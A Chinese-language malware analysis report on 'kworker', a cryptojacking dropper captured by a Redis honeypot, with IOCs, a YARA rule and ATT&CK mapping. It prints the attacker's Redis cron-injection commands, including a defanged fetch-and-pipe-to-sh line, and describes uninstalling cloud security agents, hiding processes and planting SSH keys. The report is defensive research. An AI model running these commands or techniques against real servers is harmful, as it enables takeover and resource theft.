malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm

Kworker:自带卸载程序的挖矿木马

Kinryū Labs 捕获到一个 8220 血统的挖矿木马,在大约五秒内就把一个开放、无密码的 Redis 端口变成了 root shell。这个名为 kworker、长达 636 行的 shell 脚本投放器,用厂商自己的工具卸载阿里云和腾讯云的云安全 agent,花 200 行代码清除竞争对手的矿工,给 SSH 留后门,把一个 XMRig 门罗币矿工藏在伪造的 ps、top 和 pstree 背后,并尝试继续蠕虫式传播。

作者 Davis Zheng·

TLP:CLEAR。已批准公开发布。由 Kinryū Labs 蜜罐传感器网络于 2026 年 6 月 10 日捕获。仅做静态、被动分析:从未执行该投放器,也从未联系任何攻击者基础设施。下文中的指标均已做无害化(defang)处理;YARA 规则按设计保留了真实字符串,以供检测。我们未能获取第二阶段的矿工二进制文件,也未获取门罗币钱包地址。

摘要

  • ~5秒从开放的 Redis 端口到四个 root cron 后门
  • 636行 bash,一套完整的主机接管工具
  • 2内嵌的 base64 编码厂商卸载程序
  • 80+击杀清单上的竞争对手矿工

UTC 时间午夜过六分,有什么东西连上了我们一台蜜罐的 Redis 端口,发了一条 INFO 探明对面是什么,然后断开。两秒后它又回来,开始动手。等它断开时,前后总共五秒,它已经用四种不同的方式重写了服务器的 cron 表,而每一种都指向同一个文件:一个名为 kworker 的 shell 脚本。

我们从未让它运行。蜜罐抓取载荷、计算哈希、归档存档;机器本身保持干净。于是我们手里剩下的,是这个脚本的全文,全部 636 行,以及一份完整的入侵录像。把它们放在一起读,恰好是 2026 年商品化 Linux 挖矿木马走到哪一步的一个清晰横切面,而 kworker 是个很好的标本,因为它几乎做尽了这个门类曾经发明过的一切。它还面不改色地做了一件事:用杀毒软件厂商自己的卸载程序,把你的杀毒软件卸载掉。

关键判断

  • 属于 8220 Gang / kworkerds 血统的商品化挖矿木马,机会主义、非定向(中等置信度)。 Redis 投放方式、被重命名的下载工具、/etc/javae 锁文件,以及那份庞大的击杀清单,都是这个家族的标志。我们维持在中等、不再更高,是因为这是被广泛分叉、各团伙互相传阅再转卖的代码,所以这个名字指向的是一条血脉,而非某个单一作者。
  • 目标是门罗币挖矿(高置信度)。 整个脚本的唯一目的,就是在为其启用大页(huge pages)之后,去获取并启动 javae——一个 XMRig 构建版本。其余一切都是为了清场和保住主机。
  • 成熟、被反复使用的软件,而非某人的周末项目(高置信度)。 入侵自身的 cron 行里调用了 cd1wd1,而这两个工具只有在 kworker 安装之后才存在。这套工具已经预设了自己的存在,这正是一段已在流通中存在许久的代码的标志。
  • 缺失的钱包是刻意为之(高置信度)。 脚本里没有门罗币地址,也没有矿池;两者都存放在矿工二进制文件里,而我们未能获取该文件。唯一能把这个团伙的各次行动串联起来的细节,恰恰是他们刻意不写进脚本里的那个——这与我们在 RedTail 上撞到的是同一堵墙。

FLUSHALL,然后四种方式写入 cron

把 Redis 不设密码地暴露在公网上,多年来一直是一条一行就能拿到的 root shell,而这里用的就是那套老牌可靠的技法。设置一个数据库键,其值是一个 cron 任务。让 Redis 把数据库保存到 cron 目录里。调用 SAVE。Redis 把数据库写到磁盘,连同你那条伪造的 cron 任务一起,一分钟后 cron 就以 root 身份运行它。我们这位访客探明了服务器指纹,确认自己能写文件,关掉了那个会在保存失败时叫停的安全开关,然后施展了这套把戏。

# 访问者发往 Redis 的内容(节选,指标已做无害化处理)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE

整场入侵就装在区区几秒之内:

  • 00:06:00 UTC连接,发送一条 INFO 探明服务器指纹,断开。
  • +2 秒重新连接。设置四个键,每个键存放一行 cron。CONFIG SET dir 指向 cron 目录,CONFIG SET dbfilename 指向目标 cron 文件,禁用 stop-writes-on-bgsave-error,然后 SAVE
  • 总计 +5 秒断开。蜜罐已拿到完整载荷与完整录像;机器保持干净。
  • +1 分钟在真实主机上,cron 会以 root 身份运行被植入的那一行,拉取 kworker

值得放慢脚步细看的,是它的冗余。它没有只写一个 cron 任务;它把同一条指令写进了四个地方——/var/spool/cron/root/var/spool/cron/crontabs/etc/cron.d/javae/etc/crontab——同时覆盖了 Red Hat 与 Debian 两种布局、两种 cron 语法。每一行都用不同的工具拉取 kworker——cd1wgetcurlwd1——并按错开的两、三、四、五分钟计划执行。其中两个名字并不是真正的程序。cd1wd1 是 kworker 安装完成后给 curlwget 改的名。这次入侵已经预设了它即将下载的那个脚本。整套工具内部自洽,而这正是你判断它是成熟、被反复使用的软件、而非某人周末项目的依据。

自带卸载程序

一拿到 root,kworker 就开始拆房子。防火墙被清空、ufw 被关闭、SELinux 被降到 permissive 再在配置里禁用、AppArmor 被停止、内核的 NMI watchdog 被关掉——这一点很重要,因为矿工会把 CPU 顶在百分之百长达数周,而 watchdog 是少数可能察觉到这一点的东西之一。/var/log/syslog 被直接删除。

接着它去寻找云安全 agent,而脚本就是在这里不再普通。中国的大型云厂商会在其虚拟机上预装一个主机 agent:阿里云的 Aegis,你会看到它以 AliYunDun 的名字运行;腾讯云的 YunJing;华为的 HostGuard。kworker 会逐一检查。在找到阿里云那个的地方,它不只是杀掉进程。它运行阿里云官方的卸载程序,并且为了确保即使在一台没有回连阿里云路由的机器上也能奏效,它把阿里云的两个卸载脚本以 base64 编码内嵌在自己体内。我们把两个都解码了。它们是货真价实的原版,连 kprobe 跟踪的拆除逻辑都一应俱全。

它会按厂商设想的方式,干净利落地移除你的端点防护,并把日志收拾整齐。

那不是临场发挥。是有人坐在一台真实的阿里云机器前,把卸载程序取下来,再内建了进去。

一场用 bash 写成的地盘之争

如果你从没读过这类脚本,会让你吃惊的是其中有多大比例是冲着其他罪犯去的。一个矿工真正的敌人,是下一个想租用同一颗 CPU 的矿工,而不是系统管理员。kworker 花了大约两百行去猎杀竞争对手,并且用它能抓到的每一种把柄去击杀。

  • 按进程名,来自一份超过一百项的黑名单:xmrigkinsingkdevtmpfsiwatchdogswatchbog 家族、ddgsustes,以及它自己名字所源出的、更老的 kworkerds
  • 按端口,那些挖矿池和 IRC 机器人所在的端口。
  • 按硬编码的 IP 地址。
  • 按 CPU,这件钝器: 任何以它不认识的名字、占用处理器超过 40% 的进程都会被杀掉,逻辑是:一个吃 CPU 的未知进程,按定义就是一个竞争对手的矿工。

它把竞争对手的文件从 /tmp/dev/shm 中删除、剥掉它们的 cron 任务、移除其中一些会安装的 preload rootkit,还伸手进 Docker 去杀掉并删除已知的挖矿镜像。这与我们在 RedTail 的 clean 脚本Rootpacket 的 killservice.sh 中记录到的,是同一场圈地运动;这些团伙都在争夺同一批配置错误的机器,而且开场都是先把场子扫一遍。

它还格外地、反复地针对 TeamTNT,撤销 TeamTNT 所做的 curlwget 改名,并抹掉它的目录。在它杀掉 Kinsing 的地方,它会把文件内容覆写成 fuckyou 并加锁,让 Kinsing 无法把自己放回去。这里没有道义,只有圈地,而 kworker 玩得比大多数都狠。

把这份清单读仔细,它会变成一部「竞争对手如何藏身」的图鉴。一类目标伪装成内核线程——kacpi_svckswap_svckthreadd_svcksoftirqd_svc;另一类伪装成系统守护进程——polkitdacpiddbus-daemon--system,以及把字母 L 写成大写 I 的 systemctI。kworker 正在猎杀其对手所穿的那些伪装,而这些伪装恰恰也是它在几行之后用来把 javae 藏进诸如 systemd-networkirqbalanced 之类名字里时会拿来用的同一套。这场争斗里人人都打扮成无聊的系统噪声,而人人都背熟了别人的戏服。

有几个目标根本不是名字。其中一个是 L2Jpbi9iYXN,即一条 /bin/bash 命令开头的 base64 编码。kworker 会在进程表里 grep 这个编码前缀,借由命令行里那段 base64 串抓住一个竞争对手的加载器。

整份清单很长,超过一百种给「你想杀掉的进程」起名的方式,单是为了感受这场宿怨的质地,也值得略读一遍:

从捕获脚本中提取的完整击杀清单

取自 kill_miner_prockill_sus_proc 和那段 Docker 清扫逻辑。这里列出的一切都是 kworker 猎杀的目标,而非它自己的基础设施。IP 已做无害化处理。

它会杀掉任意进程的端口(挖矿池、IRC 机器人、RAT、备用 SSH 与 Telnet):2314322223333334733895555666566666667777784441000813531

可识别的矿工与僵尸网络家族: xmrigxmrig-cpuxmrig-notlsxmr-stakmstxmrcnrigminerdminergatecryptonightcrypto-poolmonerooceankinsingkdevtmpfsikworkerdskworker34watchdogswatchd0gwatchbogddgddg.2011sustessustsesustse3kthrotldsksoftirqdstntrecht(TeamTNT)、nanoWatchsourplumdisk_geniusbiosetjenkinsnullcrew

伪装成内核线程的竞争对手: kacpi_svckswap_svckauditd_svckpsmoused_svckseriod_svckthreadd_svcksoftirqd_svckintegrityd_svckblockd_svcnative_svc

伪装成系统守护进程的竞争对手: polkitdacpiddbus-daemon--systemirqbalanceirqbalanc1crond64nginxkvmlinuzsystemctI(大写 i,而非 systemctl)、systemtensystemxlvsvcupdatenetdnsnetnsredis2rsynchttpgdhavegedvoltunednqscheduler

其他具名载荷、脚本和按行动定制的标记: apacehaapachiiimixnerdxmixtapeperformedlconnsmgwslpythnojwerilx26i586gddraskdljlqwysaydhbonnsdonnskxjdnopxideamonzigwdevtooldevtoolssuppoieexinxrjawaynnservimdarwinsysstatsLoopbackXJnRjNXLAiBI5zjicb5ownTKYg2t3ikqW3xT.2hahwNEdBCnzFVPLFCvKzzZLsOIcJi1mIOFoqIgyC0zmf2UR65ccEJ7jmxx2Ne80nAC4iLM4LGuard.shDuck.shbonn.shconn.shkw.shpro.shmr.sh2mr.shcr5.shhe.shminer.shl.shz3.shlower.shndt.shlogo9.jpgoracle.jpginit10.cfginit12.cfgj2.confzer0day.rugitee.com

混淆的启动器与释放的配置文件: ./ppp./vsp./jvs./pvv./vpp./pces./rspce./jiba./haveged./watchbog./servceaess 及其拼写各异的变体、mwyumwdbpq.confhonvbsasbf.confmqdsflm.cf/wl.confwc.confz,外加 base64 投放标记 L2Jpbi9iYXN(一条 /bin/bas... 一行命令的开头)。

它见到即射杀的竞争对手矿池与 C2 的 IP: 45.76.122[.]9251.38.191[.]17851.15.56[.]161104.248.4[.]16289.35.39[.]78107.174.47[.]156107.174.47[.]18183.220.169[.]24751.38.203[.]146144.217.45[.]45176.31.6[.]1646.243.253[.]15200.68.17[.]196188.209.49[.]54181.214.87[.]241121.42.151[.]137

它杀掉并删除的 Docker 镜像与容器: 名为 pocosowgakeawsazuluautoxmrmineslowhttpbash.shell 的容器;以及 pocosowgakeawsbuster-slimhello-azuluregistryxmrmoneromineslowhttp 等镜像引用。

还有那件钝器: 任何 CPU 占用超过 40%、且不匹配 javae 的进程都会被杀;任何占用超过 10%、且名字看起来像带方括号的内核线程的进程也会被杀;任何从 /tmp 运行的进程,以及任何名字长得可疑的进程,同样如此。

现在你看不到它了

清完场后,它把自己这名选手藏了起来。它用两行的包装脚本替换掉 pstoppstree,这些包装脚本调用真正的二进制文件,再悄悄过滤掉任何提到矿工(javae)或它所携带的扫描器(pnscan)的行,然后把这些伪造文件的时间戳回拨到 2016 年,好让它们看起来不像是新的。在一台被感染的机器上运行 ps,矿工就根本不在列表里。

矿工本身的命名也是为了消失在进程表中:javae 与一批锁文件并列,后者被植入在诸如 systemd-networkirqbalancedkswaped 之类的名字下,每一个都是为了读起来像无聊的系统噪声而精心挑选的。

一把钥匙,和通往邻居的路

还有两步动作,为这场接管收尾。

它把操作者的 SSH 公钥(其注释只是 uc1)写进 root 的 authorized_keys,并把该文件设为不可变(immutable),于是仅仅发现它还不够;你得先清除不可变位,才能哪怕只是删除它。这是一种比「矿工被清理掉」活得更久的、动手式的访问权。

接着它尝试传播。它读取 root 的 known_hosts——这台机器登录过的每一台机器的清单——并尝试用磁盘上已有的密钥 SSH 到每一台,在任何放它进去的机器上运行一行命令,从备用地址拉取 kworker,把整个故事重新来过一遍。它不是一条快蠕虫,而且依赖于人们随手留下的免密密钥,但在通常就是这副样子的那类机群上,这已经够用了。

矿工,和我们没拿到的钱包

尽管有这么多机关,真正赚钱的那个却很无趣:第二个文件 javae,一个挖门罗币的 XMRig 构建版本。kworker 打开大页(把 vm.nr_hugepages 设为 128,这是 XMRig 的一项标准提速手段),把 javae 释放到 /etc,然后运行它。

这份报告的空白就在这里。我们没有 javae,也没有钱包。脚本里没有门罗币地址,也没有矿池;这些都被烤进了运行时才拉取的矿工二进制文件里,而 C2 并未把它提供给任何看过这个样本的公共沙箱,因此被动地无从拆解。任何单独分析 kworker 的人都会撞上同一堵墙。钱包是唯一能把这个团伙的各次行动串联起来的东西,而它恰恰就是他们不写进脚本的那一样。

刻意托管在 Cloudflare 上

脚本和矿工都来自 download.logltech[.]workers[.]dev,一个 Cloudflare Workers 地址,而这是一个刻意的选择。Workers 免费、默认 HTTPS,借用了 Cloudflare 的信誉因而能轻松绕过域名黑名单,还隐藏了操作者实际控制的任何源站。我们的蜜罐从未见到一台真实的服务器;它见到的始终只是 Cloudflare。

蠕虫所使用的备用通道是 tutorial.clashverge[.]space,注册于二月下旬。脚本里其余每一个硬编码的 IP 地址都属于它想杀掉的竞争对手,散布在 Vultr、OVH、DigitalOcean 的机器以及一台位于杭州的阿里云主机上,根本不属于这个操作者。把这些硬编码 IP 读作一份目标清单,而不是基础设施。

这是谁的?

谨慎地说。这是商品化挖矿木马,出自通常被归档为 8220 Gang(或 kworkerds)的血脉。线索一应俱全:Redis cron 注入的投放方式、curl 改名为 cd1/etc/javae 锁文件、pnscan 传播器、那份庞大的击杀清单。各家杀毒引擎对它的命名无法达成一致,而这本身就是关键。ClamAV 称它为 Rocke,Rising 把它标为 TeamTNT,其余的则只说 CoinMiner。这些脚本在六七个团伙之间被复制、合并、转卖,而 kworker 杀掉了好几个与它同宗的家族。

经验法则

把这个家族当作一个街区,而不是一枚指纹。

它对中国云 agent 的专注,以及 VirusTotal 关联到同一样本的一个 Windows PowerShell 兄弟版本,补全了这幅图景,但稳妥的说法是那个克制的版本。广泛分叉、出于经济动机、非定向、且并不新。中等置信度,并安于此处。

失陷指标

网络

指标说明
download.logltech[.]workers[.]devC2(主),Cloudflare Workers。提供 /up/down/api/{kworker, javae, cb.txt}
tutorial.clashverge[.]spaceC2(备用),由蠕虫使用。注册于 2026 年 2 月 27 日
170.9.225[.]197命中 Redis 蜜罐的源 IP
*.workers.dev 主机 + /up/down/api/ 下的 GET值得在流量层面重点关注的载荷拉取模式

文件(SHA-256 / MD5)

文件SHA-256MD5
kworker(投放器)7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30501ec2da3039ebe4ca379f663232176a
javae(XMRig 矿工)未获取,预期 5,685,096 字节

SSH 后门密钥: 注释为 uc1,公钥指纹 SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY。在整个机群的 authorized_keys 中搜寻它。

主机痕迹

路径说明
/etc/kworker/etc/javae/etc/cron.d/javae/tmp/{kworker,javae}释放的文件
/usr/bin/cd1(原为 curl)、/usr/bin/wd1(原为 wget被改名的下载工具
/bin/ps.original/bin/top.original/bin/pstree.original被保存在木马化包装脚本背后的真实二进制文件
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network}不可变的、单数字名的锁文件
vm.nr_hugepages = 128为 XMRig 启用的大页

行为特征

  • 一个实际上是 shell 脚本、通过 grep -v 过滤的 pstoppstree
  • 一个不是你写的、以注释 uc1 结尾的 authorized_keys
  • 运行 sh /etc/kworkersh /tmp/kworker 的 cron 任务,以及一个本不该存在的 /etc/cron.d/javae
  • 位于 /usr/bin/kswaped 及其同类的、不可变的单数字名文件。
  • 一个被改名为 cd1wd1curlwget
  • 被悄悄设为 128 的 vm.nr_hugepages

检测

主机侧的破绽一旦你认得就很扎眼,它们已列在上文。在流量层面,任何解析 *.workers.dev 主机并请求 /up/down/api/ 下路径的行为都值得重点关注。下面是一条针对稳定字符串触发的 YARA 规则。它按设计携带了真实字符串,以供检测。

rule kworker_cryptojacker_sh
{
    meta:
        description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "7420e819...776e30"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $c2_1  = "download.logltech.workers.dev" ascii
        $c2_2  = "tutorial.clashverge.space" ascii
        $api   = "/up/down/api/kworker" ascii
        $lock  = "/etc/javae" ascii
        $miner = "miner_size=\"5685096\"" ascii
        $ren1  = "mv /usr/bin/curl /usr/bin/cd1" ascii
        $ren2  = "mv /usr/bin/wget /usr/bin/wd1" ascii
        $bin1  = "/usr/bin/pamdicks" ascii
        $bin2  = "/usr/bin/kswaped" ascii
        $bin3  = "/usr/bin/rctlcli" ascii
        $fn1   = "kill_miner_proc" ascii
        $fn2   = "download_file_if_needed" ascii
        $hide  = "javae\\|pnscan" ascii
        $ssh   = "9p8zIVKLUHMUNC9mKqPljzxH" ascii  // fragment of the uc1 key

    condition:
        filesize < 256KB and (
            $ssh or any of ($c2_1, $c2_2) or
            ($api and $lock) or
            ($miner and 1 of ($ren1, $ren2)) or
            (2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
        )
}

这应当改变什么

这一切都不高深,而这正是教训所在。kworker 之所以能进来,是因为一个 Redis 端口开着且没有密码——一个 2018 年的错误,到 2026 年仍在持续兑现。在那之后的一切——卸载 EDR、那个 rootkit、那条蠕虫——之所以还有意义,仅仅是因为前门没锁。

  • 不要把 Redis(或任何数据存储)暴露到公网,并让它要求认证。 把一个开放的服务当作整台主机的失陷,而不是单个服务的失陷。
  • 像盯生产代码一样盯住 cron 和 authorized_keys 因为对攻击者而言,它们恰恰就是生产代码。
  • 不要把机器上的云 agent 当成安全网。 kworker 的第一反应,就是走上前去、礼貌地用厂商自己的工具把它卸载掉。

MITRE ATT&CK 映射

战术技术
初始访问T1190 Exploit Public-Facing Application(Redis)
执行T1059.004 Unix Shell
持久化T1053.003 Cron;T1098.004 SSH Authorized Keys
防御规避T1562.001 Impair Defenses: Disable or Modify Tools(卸载云 agent 与 EDR);T1562.004 Disable or Modify System Firewall;T1070.002 Clear Linux or Mac System Logs;T1014 Rootkit(木马化的 ps/top/pstree);T1036.005 Masquerading: Match Legitimate Name;T1222.002 Linux File and Directory Permissions Modification(chattr +i);T1070.006 Timestomp(回拨时间戳的伪造文件)
发现T1057 Process Discovery(猎杀对手);T1518.001 Security Software Discovery(云 agent);T1046 Network Service Scanning(pnscan
横向移动T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer
命令与控制T1071.001 Web Protocols;T1102 Web Service(Cloudflare Workers);T1105 Ingress Tool Transfer
影响T1496 Resource Hijacking(门罗币挖矿)

方法论与分析师备注

  • 分析为静态、被动。该投放器从未被执行,也从未联系任何攻击者基础设施。结论来自完整阅读捕获到的 636 行脚本、解码内嵌的 base64 卸载程序,以及审阅录制下来的 Redis 会话。
  • 上文中的指标均已做无害化处理。YARA 规则按设计包含真实字符串,以供检测。
  • 我们没有第二阶段矿工(javae),也没有门罗币钱包。脚本两者皆无;它们都存放在运行时才拉取的矿工二进制文件里,而 C2 并未把它提供给公共沙箱。要取回钱包,需要一次带网络抓包的实时引爆,而我们并未进行。
  • 样本(投放器与解码后的卸载程序)可应其他研究者与防御方的请求提供。请发邮件至 [email protected],并简短说明你的身份以及索取用途。
How to cite
Kinryū Labs (2026). Kworker:自带卸载程序的挖矿木马. https://kinryu.sh/zh/reports/kworker-redis-cryptojacking-dropper/